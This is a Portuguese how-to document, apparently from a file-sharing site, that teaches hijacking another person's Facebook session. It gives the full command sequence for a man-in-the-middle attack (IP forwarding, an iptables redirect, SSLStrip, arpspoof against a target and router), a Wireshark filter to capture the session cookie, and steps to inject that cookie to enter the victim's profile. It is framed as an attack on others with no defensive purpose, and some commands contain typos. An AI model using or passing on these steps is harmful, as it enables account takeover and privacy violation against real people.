Hackeando Facebook Com Wireshark e Cookie Injector
-
Upload
thiagokakashi2011 -
Category
Documents
-
view
72 -
download
0
Transcript of Hackeando Facebook Com Wireshark e Cookie Injector
-
Hackeando Facebook com Wireshark e
Cookie Injector
Vamos precisar de:
Uma distro Linux para facilitar
Windows qualquer (no sei se foi o chrome ou se foi o mac mas no funcionou no mac)
SSLStrip
Wireshark
Arpspoof
Greasemonkey
Cookie injector para Greasemonkey
Firefox ou Iceweasel
Bastante coisa, no um tuto muito fcil. Mas depois de um tempo de prtica voc v que
tambm no to difcil.
Primeiramente baixe tudo o que voc no tem. Se voc usa Back Track ou Kali, falta
apenas o Greasemonkey e o Cookie Injector, com algumas buscas no google voc
encontra...
Vamos ao tuto ento!
Primeiro de tudo temos que ativar o encaminhamento dos pacotes. Para isso basta digitar
o comando abaixo:
echo 1 > /proc/sys/net/ipv4/ip_forwarding
-
O prximo passo criar uma regra no iptables para redirecionar todo o trfego:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
-
Agora sim vamos iniciar o ataque de verdade, inicie o sslstrip para ficar escutando o trfego:
sslstrp -a -l 8080
-
Agora precisamos do arp spoofing, para isso vamos usar duas vezes o comando arpspoof. Mantenha sempre as 2 abas com os 2 comandos rodando em quanto estiver capturando o trfego:
arpspoof -i eth0 -t ip_do_alvo ip_do_roteador
arpspoof -i eth0 -t ip_do_roteador ip_do_alvo
-
E por em quanto chega de terminal, vamos para a interface grfica do wireshark. No
wireshark, inicie a captura de pacotes, e para facilitar no filtro de pacotes coloque o
seguinte filtro:
http.cookie contains datr
-
Provavelmente voc no receber nada de incio, mas assim que seu alvo acessar um site
como por exemplo o Facebook veja o que acontece:
-
Provavelmente o ltimo pacote GET o que contm nosso cookie. Clique com o boto
direito nele v em Copy > Bytes > Printable Text Only:
-
Agora s precisamos injetar isso na pgina do Facebook e termos acesso ao perfil do alvo.
V ento para a pgina do Facebook e aperte ALT + C para abrir uma janelinha bem no
meio da pgina. Nesta janelinha cole o que copiamos antes:
-
Se voc ver uma mensagem como esta porque o cookie foi injetado com sucesso, agora
s recarregar o Facebook e ver se funcionou:
-
E ai est! Estamos no perfil da vtima!
-
Algumas consideraes finais:
Isto funciona no s no Facebook, praticamente todos os sites geram cookies, ento
praticamente todos os sites (na verdade a culpa no do site) esto vulnerveis a esse tipo de
ataque.
Se a pessoa estiver logando automaticamente porque ela marcou a caixa "Mantenha-me
conectado" anteriormente pode ser que isso no funcione.
By : Gabriel Santana